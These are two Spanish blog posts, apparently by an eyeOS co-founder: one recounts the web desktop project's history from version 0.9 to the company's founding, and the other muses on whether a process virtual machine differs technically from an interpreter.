Esta versión incluia ya un gestor de ficheros mucho mas avanzado que las anteriores, una emulación de multitarea mucho mas elaborada, y por primer vez, se incluía el editor WYSIWYG Tinymce como editor de texto del sistema.

Mas o menos por estas fechas conocí yo el proyecto, en una primera impresión me pareció increíble, pero al ver el código me desanimé bastante, era ciertamente, muy malo. Estuve varios días debatiéndome entre ayudar al proyecto o no, y finalmente, me decidí a auditarlo.

Empecé a sacarle agujeros de seguridad, que reportaba a Pau por correo, y así empezamos a entablar cierta amistad, en una extraña relación, nunca nos habíamos visto, aunque ambos vivíamos en los alrededores de Barcelona, pero hablábamos bastante, yo le reportaba agujeros de seguridad, el los arreglaba…y así estuvimos bastante tiempo.

Mientras tanto, iban apareciendo revisiones de la versión 0.9, cada vez mas y mas elaboradas.

eyeOS 0.9.3

Las mejoras entre versión y versión eran abrumadoras, cada vez estaba todo mas documentado, mejor organizado, y el sistema era mas bonito, sin embargo, la base sobre la que todo estaba montada, era un código muy malo, una prueba, un experimento que había ido a mas y mas, y que cada vez, era mas difícil sostener.

Durante todos estos meses, yo reportaba muchísimos agujeros de seguridad a Pau, todos consecuencia de la mala (o inexistente arquitectura del sistema), pero sin embargo fui cogiendo perspectiva, y entendiendo que lo que habían hecho Pau, y Hans tenía muchísimo merito, que no se trataba del nivel técnico del proyecto, ya que eso se podía arreglar, sino de como habían ido dando forma a una idea en la que mucha gente no creía por aquel entonces, y la habían hecho realidad.

Y fue alrededor de esos últimos días del 2006, que iban saliendo revisiones de 0.9, en los que fuí a Olesa por primera vez, y conocí a Pau (ese día aún no conocería a Marc ni a David Plaza).

Esa tarde Pau me habló de muchas cosas, pero yo llevaba una idea en la cabeza…había comprendido que eyeOS era una buena idea, y quería empezarlo todo de 0, con una buena arquitectura ,bien planteado, y bien programado, sin embargo, me parecía muy fuerte ir a su pueblo, a decirle que quería tirarlo todo a la basura, y empezar de 0, sin embargo lo hice, se lo dije, y Pau sorprendentemente, me dijo que estaba de acuerdo.

Ese seguramente fue uno de los momentos mas críticos de la historia del proyecto, si Pau me hubiese dicho que no, había pensado hacerlo por mi cuenta, y sabe dios como hubiesen sido las cosas entonces…

Tras la charla con Pau, estaba claro que se iba a rehacer eyeOS, y no se iba a aprovechar nada, yo ya estaba decidido a unirme al proyecto activamente, sin embargo, enseguida vi que dos programadores y dos diseñadores gráficos, seríamos pocos para crear lo que tenía en la cabeza…así que Pau contactó con un compañero suyo de la universidad, Daniel Gil, que se unió al proyecto como programador, aunque su experiencia programando era muy pequeña.

Yo hablé con mi amigo Alejandro Fiestas (actualmente desarrollador de KDE en su tiempo libre), y le propuse mi idea, y finalmente, accedió a unirse al proyecto.

Eramos ya 4 programadores, con lo que no conté es que Pau no era un entusiasta de la programación, mas bien era un visionario, alguién con mucha visión de futuro, pero poco técnico. Dani tampoco era muy técnico, y Alex si lo era, pero no tenía experiencia en PHP, la cosa no pintaba bien.

Me encerré en mi habitación durante meses (casi literalmente) y senté las bases del nuevo eyeOS, al que llamaríamos 1.0. Un sistema microkernel con módulos cargados bajo demanda, de forma transparente, donde las aplicaciones son en PHP, y dibujan sus interfaces gráficas usando Widgets (al estilo Qt o Gtk), que son clases PHP con su representación DHTML. Además diseñe un sistema de message/response para comunicar las interfaces gráficas con el sistema.

Una vez hecho todo esto, fuimos entre los 4 programando muchas partes del sistema.

Una anécdota curiosa es que la primera aplicación que se ejecutó con éxito en un eyeOS 1.0, fue un Solitario (el juego de cartas), era una prueba, que nunca vería la luz.

Durante aquellos meses, desarrollábamos en un SVN privado, para no romper la sorpresa, ya que el SVN de sourceforge, es abierto.

Mientras estábamos inmersos en el desarrollo de 1.0, en un ambiente de secretismo, en la comunidad de eyeOS empezaban a pensar que el proyecto había muerto, mucha gente hablaba del final de eyeOS.

Y finalmente, muy poco antes de sacar la nueva versión, echa desde 0, sucedió la segunda situación crítica para el proyecto, Marc se situó como líder de diseño de eyeOS, y David Plaza, acabó dejando el proyecto, al verse sustituido. A partir de ese día, todo el diseño e imagen de eyeOS, han sido fruto del trabajo e imaginación de Marc.

El día 4 de junio del 2007 eyeOS 1.0 fue publicado:

eyeOS 1.0

La noticia fue un boom en internet, el blog de Richard MacManus, ReadWriteWeb, publicó la noticia del lanzamiento, la cual llego a la portada de digg, con 1132 votos.

Sin embargo, poco después del gran día, eyeOS sufrió otro revés, Eduardo Perez, que había hecho las veces de asesor para convertir el proyecto en un producto maduro, desde la perspectiva empresarial, decidió dejar el proyecto, y dado que siempre estaba viajando, yo nunca tuve el placer de conocerle, aunque se que fue una de las personas mas importantes para el proyecto, en la época de las versiones 0.x.

Y esto empezaba a convertirse en una leyenda negra que se cernía como eyeOS, el pequeño equipo del proyecto, entre David Plaza y Eduardo Perez, ya había sufrido dos bajas a causa de la versión 1.0, lo cual me llevó a preguntarme si estaba haciendo bien las cosas, pero finalmente imagino que fueron casualidades.

Además, Hans B. Pufal se había alejado del proyecto, ya que no participó en el desarrollo de 1.0, y finalmente, acabó estando fuera completamente.

Tanta gente dejando el proyecto y una nueva versión completamente reescrita de 0, estaban creando un clima en el proyecto, en el que todos intuíamos que una nueva época estaba empezando alrededor de eyeOS, aunque aún no sabíamos cuan grande sería el cambio.

Durante 2007 fuimos sacando versiones, mejoras muy variadas, nuevas aplicaciones, mas velocidad en el sistema etc..

eyeOS 1.5

Durante el 2007, eyeOS mejoró muchísimo, Marc cada vez iba siendo mas profesional, creando diseños muy elaborados y completos, Dani iba adquiriendo experiencia en PHP y empezaba a crear aplicaciones complejas en el sistema, Alex era ya todo un «hacker» de Javascript y PHP, habiendo creado el calendario de eyeOS, el cual todavía mantiene, entre otras muchas cosas.

Yo había progresado mucho técnicamente, pero además, había aprendido que no existe la arquitectura perfecta, eyeOS 1.x era una versión perfecta, pero veía que siempre podía ser mejor, que siempre podía hacerlo mejor…veía que era el cuento sin final, esto me cambió mucho profesionalmente y como persona, aprendí a aceptar un nivel de calidad determinado, y dejé de perseguir la perfección, fue entonces cuando comprendí lo que Pau sentía de su anterior sistema eyeOS 0.x, que por mucho que te esfuerces, siempre puede ser mejor.

Con tanto cambio, Pau cada vez programaba menos, hasta que alrededor de eyeOS 1.5 o un poco antes, ya no programaba nada, y empezó a hacer otras cosas, a ser la cara pública del proyecto, a dar conferencias etc.

Durante ese tiempo, eyeOS se formó como empresa con Pau, Marc, Alex, Dani y Yo como fundadores, y empezó a ofrecer servicios de pago, adaptaciones, desarrollos a medida, instalaciones, etc.

Pronto empezamos a crecer, y tener empleados, y en la actualidad, después de toda esta historia, yo dirijo el departamento técnico, donde desarrollamos soluciones profesionales para terceros, Alex dirige la comunidad y el proyecto de software libre, Dani dirige el departamento de soporte y las comunicaciones con los clientes, Marc el departamento de diseño, y Pau es una mezcla entre presales y director general adjunto.

Durante 2008 se nos unió Pol Watine, un francés con muchísima experiencia en el sector de internet y empresas, que nos ayudó a crear, organizar y hacer funcionar la empresa, y nos enseñó muchísimas cosas sobre startups, actualmente es parte del equipo fundador.

Dentro de poco saldrá la nueva versión de eyeOS, 1.8.5 fruto de muchísimo trabajo por parte de todo el equipo:

eyeOS 1.8.5

Creo que es bueno reflexionar y ver que detrás de proyectos y empresas de software, existen personas, aventuras, ideas que en su día parecieron locuras, sueños…y que todo eso se junta de alguna forma mágica, y si se dan una serie de casualidades, si todo sucede en el orden exacto, el proyecto prospera, y que si solo una de esas cosas falla, todo se derrumba, sin embargo existe un tipo de persona especial, como Pau, que es capaz de quedarse en los peores momentos, y levantar la moral a todo el mundo. Ese tipo de personas, marcan la diferencia entre el éxito y el fracaso.

Estoy orgulloso de lo que he hecho en eyeOS, pero mucho mas de trabajar con gente como Pau, Alex o Marc, que en la actualidad, y después de tanta aventura, son grandísimos profesionales.

Quería explicar muchísimo mas, pero el artículo es demasiado largo ya, y me he dejado por el camino, olvidados a muchísima gente que ha sido importante para eyeOS, pero es imposible nombrarlos a todos aquí, la historia de eyeOS es demasiado larga para un artículo de mi blog 🙂

Me he olvidado de contar la historia de Lars, un alemán que desde los 15 años se fascinó por eyeOS y empezó a programar para el, de forma completamente increíble para su edad, o de Matthew Powel, o de Daniel Sousa, o de todos los empleados que hacen crecer a eyeOS día a día, pero si os interesa conocer realmente eyeOS, lo mejor es que os unáis y participéis en la comunidad, o en sus foros.

eyeOS continua progresando, stay tuned!

La paradoja de la máquina virtual y el interprete

Nota: durante todo el artículo se habla de máquina virtual de proceso, es decir, por ejemplo, la de Java, no de sistema, por ejemplo, VirtualBox.

Hace tiempo, estaba hablando con un amigo, y hablando hablando, se de pronto nos surgió una paradoja, que nos dejó de piedra…

Todo empezó cuando uno de los dos (no recuerdo cual) dijo que no era lo mismo una máquina virtual, que un interprete, y el otro, le contestó: claro que no, joder, eso es de informática básica, por dios.

Pero se hizo el silencio, ambos estábamos buscando rápidamente en nuestra cabeza una diferencia clave, una diferencia demoledora entre máquina virtual e interprete, pero no dábamos con ella, dimos con algunas, evidentemente, pero todas, nos dimos cuenta enseguida, o bien eran diferencias entre implementaciones concretas, por ejemplo, entre la VM de Java y el interprete de PHP, o bien eran diferencias filosóficas, en plan: la VM está pensada para ser…

Tras un rato de silencio, uno de los dijo:

¿Y cual es la diferencia técnica de base, entre una máquina virtual, y un interprete?

La pregunta sonaba de los mas absurdo, ambos sabíamos perfectamente lo que es un compilador, un pre-compilador, etc, vaya, no era un problema de falta de conocimientos en ese ámbito, pero notábamos que algo fallaba…que no dábamos con esa diferencia de base, que diferencia cosas que todo informático, sabe que son como la noche y el día.

Tras pensarlo un rato, yo dije: está claro! La máquina virtual ejecuta código medio, mientras que el interprete procesa código de alto nivel. Es decir, uno procesa código de bajo nivel, y otro de alto nivel. Pero mi amigo enseguida desmontó mi teoría hablando de Javascript.

Los interpretes de javascript, por como funcionan, son llamados máquinas virtual, por ejemplo:

http://code.google.com/p/v8/

Se puede leer claramente como google se refiere a su V8 como VM (virtual machine).

Bueno, entonces si ambos pueden procesar el mismo tipo de código, que diferencia hay?

Tras pensar un rato, mi colega dijo: la VM está pensada para abstraer al programa del hardware, y yo contesté: y PHP no? y perl no? Es exactamente lo mismo.

Durante mucho rato, fueron surgiendo ideas e ideas, pero todas, eran diferencias filosóficas, diferencias entre cierto interprete, y cierta VM…pero nunca algo genérico, aplicable a cualquier VM.

Al llegar a casa, fui a wikipedia, a sentir como si volviese a estudiar informática de nuevo, y abrí la siguiente página en el navegador:

http://en.wikipedia.org/wiki/Virtual_machine#Process_virtual_machines

Y leo la siguiente frase, muy interesante: Process VMs are implemented using an interpreter;

Según la wikipedia, lo que sucede es que una VM utiliza internamente un interprete, es decir, una VM es un interprete, y algo mas, veamos que mas:

A process VM, sometimes called an application virtual machine, runs as a normal application inside an OS and supports a single process

Eso, se puede aplicar al interprete de Python, de perl, etc.

It is created when that process is started and destroyed when it exits.

Vale, igual que el interprete de python o php.

Its purpose is to provide a platform-independent programming environment that abstracts away details of the underlying hardware or operating system, and allows a program to execute in the same way on any platform.

Vale, como TCL, por ejemplo, que es un interprete. O cualquier otro interprete, vaya.

performance comparable to compiled programming languages is achieved by the use of just-in-time compilation.

Vale, tal como hace python, no? los famosos .pyc

Después de todo esto, al final llegamos a la siguiente conclusión: no existe una diferencia técnica entre máquina virtual de proceso e interprete, es una diferencia de concepto, es decir, quien hace una VM, tiene una forma de pensar, y quien hace un interprete, otra, y eso, se refleja en el resultado final, pero como conceptos base, no encontramos diferencia.

Aprovechando una charla con un developer de mono, mi colega le preguntó sobre esta paradoja, que parece algo evidente, pero que no conseguimos resolver, y no nos dejaba vivir, el developer, tras pensarlo un buen rato, nos dijo que la diferencia era en como finaliza un interprete, y como finaliza una máquina virtual, al finalizar, la máquina virtual puede no finalizar (a diferencia de lo que nos había dicho wikipedia) y el interprete debe finalizar.

Pero esto no nos convencía, es algo mas de implementación que de concepto, y podría existir un interprete que no finalizase, sino esperase mas scripts para ejecutar.

Al final, comido por las dudas, viví agobiado un tiempo, hasta que un día, di con la respuesta, y era bastante tonta, ciertamente.

Una vez con la respuesta, se me ocurrió una idea, llevar la pregunta al meneame (craso error):

http://meneame.net/notame/jcarlosn/119061

Y un par de usuarios, tal como me esperaba, ante lo evidente que parece la pregunta en primera instancia, me tacharon de ignorante, de no saber lo que era un compilador, etc etc…pero a la hora de dar una respuesta, me dieron la siguiente: Una máquina virtual ejecuta código intermedio, no entendible por el ser humano, mientras que un interprete ejecuta código de alto nivel, entendible por el ser humano.

Esta respuesta se cae por su propio peso, en primer lugar, eso depende de la implementación de VM, por ejemplo, la V8 de google, incluida en chrome, ejecuta código javascript, de alto nivel, en segundo lugar, para procesar el MSIL, por poner un ejemplo, la plataforma .net, utiliza un interprete, eso es evidente.

Al final, después de mucho dolor de cabeza e intrigas, tengo una bonita paradoja que me sirve para diferenciar a informáticos que van de superdioses, de la gente que realmente sabe.

Siempre que he hecho está pregunta a un desarrollador de algún proyecto de software libre, se lo ha pensado, a contestado, y alguno, ha dado en el clavo, mientras que siempre (al menos de momento) que se la he hecho a un estudiante o joven informático español, se ha réido de mi, me ha descalificado, se ha reído de la pregunta, pero finalmente, no la ha contestado.

De hecho, otro dato curioso de la paradoja, es que de momento el 100% de los preguntados estudiantes de informática españoles, responden asumiendo que hablamos de la VM de Java, enhorabuena a los de marketing de SUN. 🙂

Por cierto, una nota para que nadie se ofenda, no quiero decir que ningún estudiante de informática español pueda contestar esto, sino que yo he tenido una mala experiencia 🙂